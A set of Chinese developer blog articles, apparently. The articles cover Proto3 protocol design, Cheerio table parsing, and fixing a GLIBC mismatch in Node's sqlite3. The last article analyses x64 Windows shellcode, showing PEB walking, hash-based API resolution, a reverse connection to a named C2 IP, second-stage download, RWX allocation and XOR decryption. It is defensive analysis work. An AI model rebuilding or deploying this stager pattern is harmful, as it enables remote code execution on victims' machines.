Proto3 基础:message / enum / repeated 和订阅协议模式
行情推送、IM、游戏后端这类双向长连接服务,常见的做法是走 TCP/WebSocket + Protobuf 编码。Proto3 定义消息的基础语法不多,但组合起来能表达很复杂的协议。按一个典型的"订阅推送"协议模式走一遍。 一个订阅推送协议的骨架 先看一个典型定义(脱敏后的通用示例): syntax = "proto3";package sample.pushv1;// ============ 消息类型枚举 ============ enum MsgID { MSG_UNKNOWN = 0; MSG_HEART_BEAT = 1; MSG_AUTH = 2; MSG_SUBSCRIBE = 10; MSG_UNSUBSCRIBE = 11; MSG_DATA_BROADCAST = 20; MSG_STATUS = 30; MSG_ERROR = 99; }enum SubscribeFlag { SUBSCRIBE = 0; KEEP = 1; // 保持订阅(心跳) UNSUBSCRIBE = 2; }// ============ 主消息体 ============ message Envelope { MsgID msg_id = 1; sint32 seq = 2; // 双工:request 客户端来,response 服务器来 Request request = 4; repeated Response response = 5; // 备用 JSON 通道(调试用) string json_req = 8; string json_resp = 9; string err_msg = 17; }message Request { repeated string codes = 1; SubscribeFlag flag = 2; Auth auth = 3; }message Response { repeated DataField data = 1; sint32 err_code = 2; string msg = 3; }message Auth { string apptype = 1; bytes token = 2; }message DataField { string code = 1; fixed64 ts = 2; double value = 3; }看着长,本质就四件事:枚举定消息类型 → 主 envelope 包一层 → Request / Response 承载数据 → 心跳保活。 核心语法 message 数据结构声明,类似 struct: message User { int32 id = 1; string name = 2; bytes data = 3; }每个字段有唯一 tag(= 1, = 2 ...),wire format 上按 tag 编码,改字段名不影响兼容。 enum enum Color { COLOR_UNKNOWN = 0; // proto3 里第一个必须是 0 RED = 1; GREEN = 2; BLUE = 3; }Proto3 强制第一项 = 0(作为默认值)。 repeated 数组 / 列表: message Order { repeated string items = 1; repeated User buyers = 2; }对应各语言里的 List<T> / []T。 常用标量Proto3 类型 说明 对应 Java Goint32 变长整数(负数编码差) int int32sint32 变长整数(负数省字节) int int32uint32 无符号变长整数 int uint32fixed32 固定 4 字节(大数字省) int uint32sfixed32 有符号固定 4 字节 int int32float 4 字节浮点 float float32double 8 字节浮点 double float64boolboolean boolstring UTF-8 字符串 String stringbytes 二进制 ByteString []bytetimestamp 别用 int32——2038 年就爆。用 int64 或 google.protobuf.Timestamp。 oneof(互斥字段) message Notification { string title = 1; oneof body { TextBody text = 2; ImageBody image = 3; VideoBody video = 4; } }三选一,永远只有一个字段被设置。适合"消息内容多种类型"这种场景。 map map<string, int32> counts = 1;底层其实是 repeated Entry,但语法糖后用起来就是 map。 订阅推送协议的常用模式 1. 一个大 Envelope 包一层 避免为每种消息设 endpoint,客户端 / 服务端都只处理一种 message,靠 msg_id 分发: switch (envelope.getMsgId()) { case MSG_HEART_BEAT: handleHeartbeat(envelope); break; case MSG_SUBSCRIBE: handleSubscribe(envelope.getRequest()); break; case MSG_DATA_BROADCAST: handleData(envelope.getResponse()); break; }好处:加新消息只加个 enum 值 + 新 case,不用改协议框架。 2. Request / Response 分离 一个 envelope 同时能塞 request(客户端来)和 response(服务器来)。虽然一次只填一边,但复用同一个消息类型简化编解码。 3. 心跳保活 TCP 长连接会被 NAT / 中间设备清理。定期发 MSG_HEART_BEAT 保持连接: 每 30 秒 → client → { msg_id: MSG_HEART_BEAT, seq: N } <-- server ack或者复用订阅消息:SubscribeFlag = KEEP 表示"我还在,别断"。 4. 序列号 seq 请求带 seq、响应带同样 seq——做请求 - 响应对齐。异步双工协议里没这个就乱了。 5. 备用 JSON 通道 json_req / json_resp 备用字段——调试时可以传 JSON,服务端也返 JSON,跳过 proto 编解码。方便排查协议问题。 编译 # 装 protoc brew install protobuf # macOS apt install protobuf-compiler # Ubuntu# 生成代码 protoc --java_out=./gen-java --go_out=./gen-go quote.proto各语言都有 protoc 插件,一个 .proto 文件能同时给 Java / Go / Python / Kotlin / TS 用。这是 Protobuf 最大的价值。 常见坑 1. 默认值不会传输 Proto3 里字段等于默认值(0、空串、false)不会占字节——但也意味着接收端分不清"没设"和"设为 0"。 需要区分时用 oneof 或 google.protobuf.Int32Value 之类的 wrapper 类型。 2. tag 号一旦发布就不能改 改了 tag 号 = 完全不同的字段。老客户端拿到新数据会解析错误。 3. 删除字段用 reserved message User { reserved 3, 5; reserved "old_name"; int32 id = 1; // 不能再用 tag 3 或 5 }避免后人不小心用了同一个 tag。 4. proto2 vs proto3 syntax = "proto2"; 有 optional / required,字段能显式 null。syntax = "proto3"; 简化了很多,新项目都用 proto3。 一句话总结 订阅推送协议的常用模式:Envelope + MsgID enum + Request/Response + seq + 心跳。Proto3 的核心就是 message / enum / repeated / oneof / map。一份 .proto 编成多语言,是它最大的优势。
Cheerio 解析 HTML 表格:动态定位列索引
HTML 表格的列顺序经常变动,硬编码列索引(cells[2])在结构改变后立刻失效。正确做法是先扫描表头行确定目标列的实际位置,再按索引取数据。 核心思路 1. 找到目标表格 2. 读取表头行,确定"销售"列的索引 3. 遍历数据行,按列索引取值 4. 匹配产品名称,验证数值范围完整实现 import * as cheerio from "cheerio";class PriceParser { constructor() { this.validationRules = { gold: { min: 400, max: 1000 }, // 元/克 silver: { min: 3, max: 20 }, }; } parsePrices(html) { const $ = cheerio.load(html); const result = { goldPrice: null, silverPrice: null }; $("table").each((_, table) => { const rows = $(table).find("tr"); if (rows.length < 2) return; // 扫描表头行,定位"销售"列 let saleColumnIndex = -1; rows.first().find("th, td").each((i, cell) => { if ($(cell).text().trim().includes("销售")) { saleColumnIndex = i; return false; // break } }); if (saleColumnIndex < 0) return; // 遍历数据行 rows.each((rowIndex, row) => { if (rowIndex === 0) return; // 跳过表头 const cells = $(row).find("td, th"); if (!cells.length) return; const productName = $(cells[0]).text().trim(); // 匹配黄金9999 if ( (productName === "黄金9999" || productName === "黄金 9999") && !result.goldPrice ) { result.goldPrice = this.extractPrice( $(cells[saleColumnIndex]).text().trim(), this.validationRules.gold ); } // 匹配白银(排除含"黄金"的行) if ( productName === "白银" && !productName.includes("黄金") && !result.silverPrice ) { result.silverPrice = this.extractPrice( $(cells[saleColumnIndex]).text().trim(), this.validationRules.silver ); } }); }); return result; } extractPrice(text, { min, max }) { const match = text.match(/(\d+\.?\d*)/); if (!match) return null; const price = parseFloat(match[1]); if (price < min || price > max) return null; // 超出合理范围 return price.toFixed(2); } }// 使用 const parser = new PriceParser(); const { goldPrice, silverPrice } = parser.parsePrices(html);关键点解析 动态列定位:用 .includes("销售") 而不是固定索引,表格新增或删除列时代码无需修改。 数值范围验证:validationRules 定义合理价格区间,过滤掉格式异常或明显错误的数据(如抓到表格里的其他数字)。 产品名精确匹配:productName === "黄金9999" 而不是 .includes("黄金"),防止把"黄金饰品9999"也匹配进来。!productName.includes("黄金") 在白银行再加一层保护。 多语言/别名的处理 如果表格里的产品名不统一(黄金9999、黄金 9999、Au9999 混用): const GOLD_NAMES = new Set(["黄金9999", "黄金 9999", "Au9999", "足金9999"]);if (GOLD_NAMES.has(productName) && !result.goldPrice) { ... }调试技巧 遇到解析不到数据时,先打印表格 HTML 确认结构: $("table").each((i, table) => { console.log(`Table ${i}:`, $.html(table).slice(0, 500)); });再检查表头文本是否有空格或全角字符: rows.first().find("th, td").each((i, cell) => { console.log(`Header ${i}: "${$(cell).text().trim()}"`); });页面改版后表格结构变化,这两步能快速定位问题所在。
GLIBC 版本不兼容:node_sqlite3.node 报 GLIBC_2.38 not found 的解决方法
Error: /lib64/libm.so.6: version `GLIBC_2.38' not found (required by node_modules/sqlite3/build/Release/node_sqlite3.node)典型场景:本地 Ubuntu 24 编译后,将整个 node_modules 上传到 CentOS 7 / Rocky 8 / 老 Ubuntu 服务器,因为 glibc 版本不匹配,native addon 加载失败。 确认系统 glibc 版本 ldd --version # ldd (GNU libc) 2.17 ← 远低于 2.38sqlite3 native addon 编译时用了 GLIBC_2.38 的符号,但服务器的 /lib64/libm.so.6 只支持到 2.17,因此 dlopen 失败。 解决方案 方案 1:服务器重新编译(推荐) 在目标服务器上重新安装或重编译 native 模块: # 进入项目目录 cd /your/project# 先删除已有 node_modules rm -rf node_modules package-lock.json# 重新安装(会在当前服务器编译 .node 文件) npm install# 或者只重编译 sqlite3 npm rebuild sqlite3如果编译报错,需要先安装编译工具链: CentOS / RHEL: yum groupinstall "Development Tools" -y yum install python3 gcc gcc-c++ make -yUbuntu / Debian: apt install build-essential python3 make g++ -y然后再执行 npm rebuild sqlite3。 方案 2:不要跨系统上传 node_modules 根本原因是 native addon 的 .node 文件是平台相关的二进制,不能跨系统复用。正确的部署流程: # 本地:只上传源码,不上传 node_modules git push # 或 scp 项目文件,排除 node_modules# 服务器:安装 npm install将 node_modules/ 加入 .gitignore 和 rsync --exclude。 方案 3:改用 better-sqlite3 sqlite3 的 native binding 经常出现编译问题。better-sqlite3 维护更活跃且通常编译更顺畅: npm uninstall sqlite3 npm install better-sqlite3API 略有不同(同步而非回调),迁移成本视代码量而定。 为什么 GLIBC 版本不能降级升级 glibc 是系统核心库,版本升级风险极高(可能导致系统无法启动),降级几乎不可能。唯一可靠的方式是在目标环境重新编译,或用 Docker 把运行环境固定下来: FROM node:18-bullseye-slim WORKDIR /app COPY package*.json ./ RUN npm install COPY . . CMD ["node", "server.js"]容器化后 glibc 版本由镜像固定,不再受宿主机影响。
Node 报 GLIBC_2.38 not found 的根因和四种解法
宝塔服务器启动 Node 项目,直接崩: Error: /lib64/libm.so.6: version `GLIBC_2.38' not found (required by /www/wwwroot/yourproject/server/node_modules/sqlite3/build/Release/node_sqlite3.node) code: 'ERR_DLOPEN_FAILED'这是典型的 glibc 版本不匹配。sqlite3.node 是个 native 二进制,编译时链接的 glibc 是 2.38,服务器 glibc 只有 2.17 或 2.28,加载不了。 先确认服务器 glibc 版本 ldd --versionCentOS 7 通常是 2.17,Rocky 8 / 老 Ubuntu 是 2.28。而 Ubuntu 24 / Debian 13 的 glibc 已经到 2.38+,本地编译的东西拿过去自然跑不动。 场景还原 99% 是这么造成的:本地新系统 npm install 打包整个项目(包括 node_modules)上传到服务器 服务器上直接 node index.js 崩node_modules/sqlite3/build/Release/node_sqlite3.node 是在本机 Ubuntu 24 编译的,扔到 CentOS 7 上当然报 GLIBC。 四种解法 方案一:服务器重新编译(推荐) cd /www/wwwroot/yourproject/server rm -rf node_modules package-lock.json npm install或者只重编译原生模块: npm rebuild sqlite3编译失败通常是缺工具链: # CentOS / RHEL yum groupinstall "Development Tools" -y yum install python3 gcc gcc-c++ make -y# Ubuntu / Debian apt install build-essential python3 make g++ -y方案二:本地别上传 node_modules 正确的部署流程:本地只上传 package.json + package-lock.json 服务器 npm install.gitignore 里加上 node_modules/,部署脚本里 rsync --exclude=node_modules/,这类问题就彻底没了。 方案三:换更省心的 SQLite 驱动 老牌 sqlite3 依赖 node-gyp 编译,每次升 Node 都可能炸。换成:better-sqlite3(同步 API、性能更好) libsql(Cloudflare 生态)npm install better-sqlite3大多数场景 API 迁移不复杂,还能避开 native 编译地狱。 方案四:升级系统 glibc(不推荐) CentOS 7 手动装高版本 glibc 有极高概率把系统弄崩,别碰。要新 glibc 就直接升系统或者上 Docker——用官方 Node 镜像编译,产物就是那个环境的 glibc。 一条经验 Node 项目部署,永远不要把 node_modules 传上服务器。 让服务器自己 npm install,很多 native 模块问题从此消失。
x64 Windows Shellcode 分析:PEB 遍历与哈希 API 解析
无导入表 Shellcode 的核心思路 普通 PE 文件有导入地址表(IAT),链接器在加载时帮你填好函数地址。Shellcode 注入到任意内存后没有这张表,需要在运行时自己找函数地址。经典方案: gs:[60h] → PEB → InMemoryOrderModuleList → kernel32 基址 ↓ 遍历导出表(Export Directory) ↓ 对每个函数名计算哈希,与目标哈希比较 ↓ 找到后读 AddressOfFunctions 得到实际地址读 PEB 找 kernel32 x64 上 PEB 地址固定在 gs:[60h]: mov rax, gs:[60h] ; rax = PEB mov rax, [rax+18h] ; rax = PEB_LDR_DATA mov rax, [rax+10h] ; rax = InLoadOrderModuleList.Flink ; 第三个模块通常是 kernel32.dll对应 C 结构: PEB → PEB_LDR_DATA PEB_LDR_DATA → InMemoryOrderModuleList (index 0: ntdll, index 1: kernel32)导出表哈希匹配 Shellcode 不存储函数名字符串,而是存预计算好的哈希值,避免明文暴露。常见算法(ROR-13 变体): def ror13_hash(name: bytes) -> int: h = 0 for c in name: h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF h = (h + c) & 0xFFFFFFFF return hShellcode 中看到的调用模式: mov ecx, 0726774Ch ; LoadLibraryA 的预计算哈希 call resolve_api ; 通用 API 解析函数,返回地址在 raxresolve_api 函数做以下事情: 1. 遍历 InMemoryOrderModuleList 2. 对每个模块读 Export Directory 3. 遍历 AddressOfNames,计算每个函数名的哈希 4. 哈希匹配时: AddressOfNameOrdinals[i] → ordinal AddressOfFunctions[ordinal] → RVA → 实际地址动态加载 DLL 找到 LoadLibraryA 后,用栈上逐字节写入的字符串加载目标库,避免字符串明文出现在数据段: ; 构造 "user32.dll" 字符串 mov dword ptr [rbp-70h], 'resu' ; "user" mov dword ptr [rbp-6Ch], 'd.23' ; "32.d" mov dword ptr [rbp-68h], 'll' ; "ll" mov byte ptr [rbp-66h], 0 ; null terminator lea rcx, [rbp-70h] call rbx ; LoadLibraryA("user32.dll")同样方式加载 ws2_32.dll、msvcrt.dll。 网络反连结构 加载 ws2_32 后按标准顺序调用 WinSock API: ; 初始化 WinSock mov ecx, 202h ; wVersionRequested = 2.2 call WSAStartup; 创建 socket ; socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) call socket; 填充 sockaddr_in,IP 写入栈上 ; 102.217.197.174:port(字节倒序写入) call connect; 接收第二阶段 payload call recvC2 IP 以字节方式分散写入栈帧,IDA/Ghidra 不会自动识别为字符串,需手动组合。 VirtualAlloc + XOR 解密执行 接收到加密 payload 后: ; 申请可执行内存 mov ecx, <payload_size> xor r8d, r8d mov r9d, 40h ; PAGE_EXECUTE_READWRITE call VirtualAlloc; XOR 解密循环 .loop: xor byte ptr [rcx+rdi], 99h ; key = 0x99 inc rdi cmp rdi, rcx jl .loop; 跳转执行 call rax整体执行流程 gs:[60h] → PEB ↓ 遍历模块链 → kernel32 基址 ↓ 导出表哈希解析 → GetProcAddress / LoadLibraryA ↓ LoadLibraryA("ws2_32.dll") LoadLibraryA("user32.dll") ↓ WSAStartup → socket → connect(C2) ↓ recv(encrypted_payload) ↓ VirtualAlloc(RWX) ↓ XOR 解密 ↓ 执行第二阶段 payload这种结构是 Cobalt Strike Beacon、Meterpreter stager 等红队工具的标准 stager 模式。理解它有助于防御侧在内存中识别 shellcode 特征、提取 C2 地址。 快速识别特征特征 含义gs:[60h] 读取 读 PEB,无导入表 shellcode 标志mov ecx, <4字节哈希>; call fn 哈希解析 API 调用模式栈上逐字节写字符串 隐藏 DLL 名称VirtualAlloc + PAGE_EXECUTE_READWRITE 申请可执行内存准备执行 payload循环 XOR 解密第二阶段 shellcode实际分析时,先定位 resolve_api 函数,把所有哈希值批量还原成函数名,再按调用顺序梳理业务逻辑,速度会快很多。
